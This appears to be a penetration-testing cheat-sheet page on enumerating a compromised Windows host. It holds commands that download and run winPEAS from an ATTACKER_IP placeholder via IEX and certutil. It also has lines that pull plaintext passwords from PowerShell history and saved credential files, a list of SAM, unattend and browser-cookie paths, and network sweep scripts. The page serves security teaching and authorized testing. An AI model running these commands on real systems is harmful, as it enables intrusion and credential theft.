Windows OS Enumeration

The goal here is building a full picture of the box before touching anything: who you are, what’s installed, what’s running, what’s reachable, and what’s lying around unprotected, before acting on any of it. Commands are split by shell (CMD vs PowerShell) since you won’t always have both available. Exploiting what turns up here (token privileges, service misconfigurations, scheduled task hijacking) belongs on the Windows Privilege Escalation page, Active Directory enumeration (domain groups, trusts, dsquery, LAPS) belongs in the Active Directory section instead, this page covers the local host only.

Automated Enumeration

winPEAS
JAWS

winPEAS is the NR 1 Tool to go with, it has both, a .exe and a .ps1.

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/winPEAS.ps1')

certutil -urlcache -split -f http://ATTACKER_IP:8000/winPEASx64.exe winPEAS.exe
./winPEAS.exe

JAWS is lighter than winPEAS but not actively maintained anymore

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

System Information

CMD
PowerShell

systeminfo                                              # OS version, build, domain, installed RAM, patch level
wmic qfe get Caption,Description,HotFixID,InstalledOn    # installed hotfixes, cross-reference against known privesc CVEs
set                                                       # environment variables
wmic product get name                                     # installed software (slow, but thorough)
dir "C:\Program Files" "C:\Program Files (x86)"            # faster installed-software check than wmic product

Get-ComputerInfo | select OsName,OsVersion,OsBuildNumber   # same info as systeminfo, structured
Get-HotFix | ft -AutoSize                                   # installed hotfixes
Get-ChildItem Env: | ft Key,Value                            # environment variables
Get-WmiObject -Class Win32_Product | select Name, Version    # installed programs

Get-MpComputerStatus                                         # Defender status: real-time protection, last scan, signature age
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections   # AppLocker rules, which apps/paths are blocked

Check AV and AppLocker status early, it decides which tools and techniques are even worth trying for the rest of the assessment.

Users & Groups

CMD
PowerShell

whoami /priv                        # enabled privileges on the current token, start here
whoami /groups                       # current user's group memberships
query user                            # other users currently logged in

net users                             # all local accounts
net user %username%                    # details on the current user
net accounts                           # password/lockout policy
net localgroup                          # all local groups
net localgroup administrators            # who's actually a local admin

whoami /priv is this page’s equivalent of sudo -l on Linux, the single highest-value command here. A token privilege like SeImpersonatePrivilege or SeBackupPrivilege showing as enabled is a direct lead for the privilege escalation page.

cmdkey /list                           # saved credentials in Windows Credential Manager
runas /user:<username> powershell       # run a shell as a different local user if you have their password

Get-LocalUser                           # all local accounts
Get-LocalGroup                           # all local groups
Get-LocalGroupMember Administrators       # members of the local admins group

PowerShell command history frequently contains plaintext passwords or connection strings typed during legitimate admin work, worth checking for every user you have read access to.

Get-Content (Get-PSReadLineOption).HistorySavePath
foreach ($user in (Get-ChildItem C:\Users).FullName) { Get-Content "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue }

qwinsta                                  # sessions for other logged-in users

Domain Awareness

A quick check for whether this box is domain-joined, worth knowing before deciding whether the AD section is relevant at all. Full domain enumeration (net group /domain, dsquery, LAPS, trusts) lives there, not here.

echo %USERDOMAIN%
echo %logonserver%

(Get-WmiObject Win32_ComputerSystem).Domain

Network Information

CMD
PowerShell

ipconfig /all                            # interfaces, DNS, DHCP info
route print                               # routing table
arp -a                                     # ARP cache
netstat -ano                                # listening ports and owning PID

netsh advfirewall show allprofiles          # firewall state per profile
netsh advfirewall firewall show rule all     # all configured firewall rules

# Quick one liner to ping sweep the network
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

# Quick one liner to ping sweep the network
1..254 | % { "172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)" }

# Script to scan ports for a specific ip addr
$ports = @(80,445); $ip = "192.168.2.1"
foreach ($port in $ports) {
  $socket = $null
  try { $socket = New-Object System.Net.Sockets.TcpClient($ip, $port) } catch {}
  if ($null -eq $socket) { Write-Host "$ip`:$port - Closed" } else { Write-Host "$ip`:$port - Open"; $socket.Close() }
}

Processes & Services

CMD
PowerShell

tasklist /SVC                              # processes with the service they host
net start                                   # running services
wmic service list brief                      # services with start mode and state
schtasks /query /fo LIST /v                   # scheduled tasks, full detail

Named pipes are worth a look on a box you suspect runs privileged services, a writable or misconfigured pipe is a lead for the privilege escalation page.

pipelist.exe /accepteula                       # list all named pipes
accesschk64.exe /accepteula -w \pipe\* -v        # list writable pipes specifically

Get-ScheduledTask | select TaskName,State        # active scheduled tasks
Get-ChildItem \\.\pipe\                            # named pipes

Some processes run and finish in under a second, too fast for a single tasklist snapshot to ever catch. This loop gets around that by taking two snapshots of every running process one second apart and showing what changed between them, so a process that started and ended in that gap still shows up. It’s the PowerShell equivalent of pspy on Linux.

while ($true) {
  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Files & Shares

CMD
PowerShell

net share                                  # shares hosted by this machine
net view \\computer /ALL                     # shares on a specific remote host
net view /domain                              # list of PCs in the domain
net use n: \\<ip>\<share>                       # mount a share to a drive letter

icacls <filename>                            # permissions on a specific file
accesschk64.exe /accepteula -s -d C:\Scripts\  # recursive permission check on a directory

Get-ChildItem \\<ip>\<share>                                           # browse a share
New-PSDrive -Name "N" -Root "\\<ip>\<share>" -PSProvider "FileSystem"   # mount a share as a drive
Get-Acl "<path-to-file>" | Format-List                                  # ACL for a file

Credential & Sensitive File Hunting

dir n:\*cred* /s /b
dir n:\*secret* /s /b
findstr /s /i cred n:\*.*

Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

A wider sweep across common sensitive-data extensions and keywords, worth running against both the local disk and any mounted share.

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.yml *.csv *.rdg

Get-ChildItem C:\ -Recurse -Include *.rdp,*.config,*.vnc,*.cred -ErrorAction Ignore

Credentials embedded in PowerShell scripts and Windows setup files

A Import-Clixml-saved credential object stores the password encrypted with DPAPI, readable back out by the same user/machine that created it, worth checking any .xml found during the sweeps above.

$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username
$credential.GetNetworkCredential().password

Windows setup/unattended-install files frequently still contain the local administrator password set during imaging, base64-encoded but not otherwise protected.

C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Autounattend.xml

Interesting file paths worth checking directly

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
C:\Users\<username>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Credentials harvested from the browser or Credential Manager (SharpChrome, LaZagne) are covered in depth on the Browser Cookies Attacks page rather than duplicated here, check there once a user’s profile is accessible.

Automated Sensitive-File Hunting

snaffler.exe -s -o snaffler.log

Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\Public

Metasploit Post Modules

Module	Description
`post/windows/gather/enum_logged_on_users`	Currently logged-on users
`post/windows/gather/enum_applications`	Installed applications
`post/windows/gather/enum_computers`	Computers visible to this host
`post/windows/gather/enum_patches`	Installed patches
`post/windows/gather/enum_shares`	Accessible shares
`post/multi/gather/ping_sweep`	Ping sweep from the compromised host

Breaking Out of Restricted Environments

Kiosk mode, Citrix, and other locked-down desktop environments need their own escape techniques before any of the enumeration above is even possible.

Breaking Out of Windows Environments

General kiosk/restricted-desktop escape techniques.

Breaking Out of Citrix

Citrix and similar remote-desktop-specific escapes.

Quick Reference Tools

LOLBAS

Lookup table of legitimate Windows binaries abusable for privilege escalation, the Windows equivalent of GTFOBins.

winPEAS

Automated enumeration, see above.

JAWS

Lighter automated enumeration script, see above.

Snaffler

Automated sensitive-file and credential hunting across shares and the local disk.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

Windows OS Enumeration

Automated Enumeration

System Information

Users & Groups

Domain Awareness

Network Information

Processes & Services

Files & Shares

Credential & Sensitive File Hunting

Automated Sensitive-File Hunting

Metasploit Post Modules

Breaking Out of Restricted Environments

Breaking Out of Windows Environments

Breaking Out of Citrix

Quick Reference Tools

LOLBAS

winPEAS

JAWS

Snaffler

​Automated Enumeration

​System Information

​Users & Groups

​Domain Awareness

​Network Information

​Processes & Services

​Files & Shares

​Credential & Sensitive File Hunting

​Automated Sensitive-File Hunting

​Metasploit Post Modules

​Breaking Out of Restricted Environments

Breaking Out of Windows Environments

Breaking Out of Citrix

​Quick Reference Tools

LOLBAS

winPEAS

JAWS

Snaffler

Automated Enumeration

System Information

Users & Groups

Domain Awareness

Network Information

Processes & Services

Files & Shares

Credential & Sensitive File Hunting

Automated Sensitive-File Hunting

Metasploit Post Modules

Breaking Out of Restricted Environments

Quick Reference Tools